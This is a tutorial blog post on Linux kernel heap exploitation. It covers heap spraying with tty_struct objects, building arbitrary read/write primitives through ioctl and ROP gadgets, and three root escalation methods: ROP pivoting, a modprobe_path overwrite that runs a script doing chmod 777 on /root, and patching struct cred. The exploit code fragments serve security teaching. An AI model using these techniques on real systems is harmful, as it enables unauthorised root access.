Linux Kernel Exploitation: Heap techniques
Table of contents
- Prerequisite knowledge
- What will this post cover?
- Heap Allocators
- Heap spraying
- I have AAW / AAR primitives, now what?
- References
Prerequisite knowledge
Welcome to the second part of Linux Kernel Exploitation blog posts. If you haven’t seen the previous one where we explore setup and buffer overflow exploit, you can check out the first part here.
What will this post cover?
We will be exploring Linux kernel heap exploitation. How to write exploits utilizing heap bugs? What are the different ways of getting root privileges? We will cover topics like: heap spraying, modprobe, crafting arbitrary read / write primitives etc. This post is heavily influenced by https://pawnyable.cafe/ and code examples are taken from exploits I wrote following this series.
Heap Allocators
The Linux kernel can use one of these allocators: SLOB, SLUB or SLAB. Different Linux distributions use different allocators.
- SLOB is usually used in embedded systems
- SLUB is used most commonly today, intended for larger systems
- SLAB is the oldest allocator, used in Solaris
To read more about Linux kernel memory allocators you can check out this post by sam4k.
Heap spraying
Heap spraying is a technique which involves spawning specially selected object onto the heap with the goal of utilizing that object to create a primitive (arbitrary read / write, RIP control etc.).
Heap spraying is used to exploit bugs like heap overflow and use-after-free.
Each object can be used to achieve different goals depending on what types of variables it contains. For example object tty_struct can be used to gain control over RIP. How? By overwriting its member *ops
which is a pointer to function table. If we craft our own function table and we point *ops
to it we can gain control of program execution.
Let’s take a look at code snippets to better understand what am I talking about :)
Every heap spray involves calling some function in a loop which spawns the specific object in memory multiple times. In this case calling open()
on /dev/ptmx
spawns tty_struct
object on the heap. By doing this we hope that one of the objects ends up on the place that the bug allows us to write to.
// Heap spray
int spray[100];
for (int i = 0; i < 100; i++) {
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
}
Next using the bug we overwrite the *ops
member of the tty_struct
.
char buf[0x500];
...
// Let p be a pointer to fake function table
long long* p = (long long*)&buf;
// We identified that the function that gets called is 12th element in the function table
p[12] = 0x4141414141414141;
// Location of *ops at 0x418
*(long long*)&buf[0x418] = address_of_buf_in_memory;
write(fd, buf, 0x500);
Now the last step is to trigger the code that executes the faked function. This can be achieved by calling ioctl()
on the /dev/ptmx
handle.
for (int i = 0; i < 100; i++) {
ioctl(spray[i], rcx, rdx);
}
This approach enables us to also pass values into rcx
and rdx
registers before jumping to our arbitrary address 0x4141414141414141
.
Crafting other primitives
This way we can call any function we want but it can also be used to craft AAR (Arbitrary Address Read) and AAW (Arbitrary Address Write) primitive. By finding ROP gadgets that use rcx
and rdx
registers to write to memory.
Below is an example of arbitrary write for 32 bits (4 bytes).
void AAW32(long long addr, unsigned int val) {
long long* p = (long long*)&buf;
// mov dword ptr [rdx], ecx ; ret
p[12] = 0xffffffff8101083d;
*(long long*)&buf[0x418] = g_buf;
write(fd, buf, 0x500);
for (int i = 0; i < 100; i++) {
ioctl(spray[i], val, addr);
}
}
This function can be called as many times as we need to overwrite anything in kernel-space memory.
The same approach can be used to achieve AAR. Because accessing memory takes more time and we would use this function multiple times (for scanning memory space) we can cache file descriptor to speed things up.
int cached_fd = -1;
unsigned int AAR32(long long addr) {
if (cached_fd == -1) {
long long* p = (long long*)&buf;
// mov eax, dword ptr [rdx] ; ret
p[12] = 0xffffffff8118a285;
*(long long*)&buf[0x418] = g_buf;
write(fd, buf, 0x500);
for (int i = 0; i < 100; i++) {
int v = ioctl(spray[i], 0, addr);
if (v != -1) {
cached_fd = spray[i];
return v;
}
}
} else {
ioctl(cached_fd, 0, addr);
}
}
I have AAW / AAR primitives, now what?
There is more ways to get root shell such as crafting ROP chain and jumping to it, using modprobe
, patching struct cred
in memory etc.
Jumping to ROP chain
This technique involves finding a gadget that allows us to write to register rsp
and then executing ret
to pivot to our ROP chain.
These are the steps for this technique:
- Craft ROP chain in kernel memory
- Obtain start address of our ROP chain in kernel
- Find a pivot gadget that ultimatively does
mov rsp rcx/rdx; ret;
. Remember we can controlrcx
andrdx
throughioctl()
call. Usually there is no such straightforward gadget present so we have to use more complex gadgets likepush rdx xor eax, 0x415b004f pop rsp pop rbp ret
that have the same effect.
- Overwrite function table as shown before so it executes the pivot gadget
- Call
ioctl()
to trigger the jump
Congratulations! You are now executing your ROP chain in kernel by abusing a heap bug!
Modprobe
This technique involves overwriting modprobe_path
and calling modprobe program.
Modprobe is a userspace program that is run when we execute a binary that has invalid magic bytes. For example executing ELF file that starts with bytes XXXX will trigger modprobe. It is implemented in the kernel because it tries to load appropriate kernel modules for specific file types. The kernel stores path to Modprobe in modprobe_path
variable which will be our target to overwrite. By default it points to /usr/bin/modprobe
but we can make it point to our arbitrary file /tmp/evil.sh
.
Steps for this technique:
- Craft AAW primitive
- Overwrite
modprobe_path
#define MODPROBE_PATH 0xffffffff81e38180 ... // Overwrite modprobe_path char cmd[] = "/tmp/evil.sh"; for (int i = 0; i < sizeof(cmd); i++) { AAW32(MODPROBE_PATH + i, *(unsigned int*)&cmd[i]); }
- Prepare binary to be executed instead of modprobe
// Prepare modprobe binary system("echo -e '#!/bin/sh\nchmod -R 777 /root' > /tmp/evil.sh"); system("chmod +x /tmp/evil.sh");
- Prepare binary with invalid magic bytes that will trigger modprobe
system("echo -e '\xde\xad\xbe\xef' > /tmp/pwn"); system("chmod +x /tmp/pwn");
- Execute the binary and
evil.sh
will be run as root!system("/tmp/pwn"); // modprobe_path
Patching struct cred
This last method is my favourite because its not relying on any calls to functions but is directly changing the bytes that are important to become root.
The idea behind this technique is to change the current->cred
struct of the current process so the process promotes its privileges.
Steps are the following:
- In Linux using function
prctl()
you can set the threads name// Set thread name if (prctl(PR_SET_NAME, "nekomaru") != 0) { perror("prctl"); }
- Since this name is tied to a struct that has process info we can scan the heap memory to search for the string “nekomaru”
// Search thread name in memory long long addr; for (addr = g_buf - 0x1000000; ; addr += 0x8) { // g_buf is an address on the heap if ((addr & 0xfffff) == 0) { printf("searching... 0x%llx\n", addr); } if (AAR32(addr) == 0x6f6b656e && AAR32(addr+4) == 0x7572616d) { printf("[+] Found 'comm' at 0x%llx\n", addr); break; } }
The address we leak from here is
comm
member of thetask_struct
which holds the process information. Few bytes abovecomm
member is an address tocred
structure. - Leak the
cred
structure that is abovecomm
memberlong long addr_cred = 0; addr_cred |= AAR32(addr - 8); addr_cred |= (long long)AAR32(addr - 4) << 32; printf("[+] current->cred = 0x%llx\n", addr_cred);
- Overwrite all uid and gid fields to 0
for (int i = 1; i < 9; i++) { AAW32(addr_cred + i*4, 0); }
- At this point the process is promoted to root. What’s left is to spawn a shell.
system("/bin/sh");
References
https://pawnyable.cafe/linux-kernel/
https://sam4k.com/like-techniques-modprobe_path/
https://sam4k.com/linternals-memory-allocators-0x02/
https://h0mbre.github.io/PAWNYABLE_UAF_Walkthrough/
https://github.com/smallkirby/kernelpwn/tree/master/technique